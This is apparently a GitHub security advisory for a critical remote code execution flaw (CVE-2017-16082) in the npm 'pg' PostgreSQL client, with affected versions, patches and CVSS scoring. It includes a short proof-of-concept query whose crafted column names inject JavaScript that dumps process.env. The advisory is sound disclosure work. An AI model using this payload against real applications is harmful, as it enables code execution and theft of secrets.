Skip to content

Remote Code Execution in pg

Critical severity GitHub Reviewed Published Jul 24, 2018 to the GitHub Advisory Database • Updated Sep 11, 2023

Package

npm pg (npm)

Affected versions

< 2.11.2
>= 3.0.0, < 3.6.4
>= 4.0.0, < 4.5.7
>= 5.0.0, < 5.2.1
>= 6.0.0, < 6.0.5
>= 6.1.0, < 6.1.6
>= 6.2.0, < 6.2.5
>= 6.3.0, < 6.3.3
>= 6.4.0, < 6.4.2
>= 7.0.0, < 7.0.2
>= 7.1.0, < 7.1.2

Patched versions

2.11.2
3.6.4
4.5.7
5.2.1
6.0.5
6.1.6
6.2.5
6.3.3
6.4.2
7.0.2
7.1.2

Description

Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.

There are two specific scenarios in which it is likely for an application to be vulnerable:

  1. The application executes unsafe, user-supplied sql which contains malicious column names.
  2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.

Proof of Concept

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Recommendation

  • Version 2.x.x: Update to version 2.11.2 or later.
  • Version 3.x.x: Update to version 3.6.4 or later.
  • Version 4.x.x: Update to version 4.5.7 or later.
  • Version 5.x.x: Update to version 5.2.1 or later.
  • Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
  • Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )

References

Published to the GitHub Advisory Database Jul 24, 2018
Reviewed Jun 16, 2020
Last updated Sep 11, 2023

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

14.246%
(96th percentile)

Weaknesses

CVE ID

CVE-2017-16082

GHSA ID

GHSA-wc9v-mj63-m9g5

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.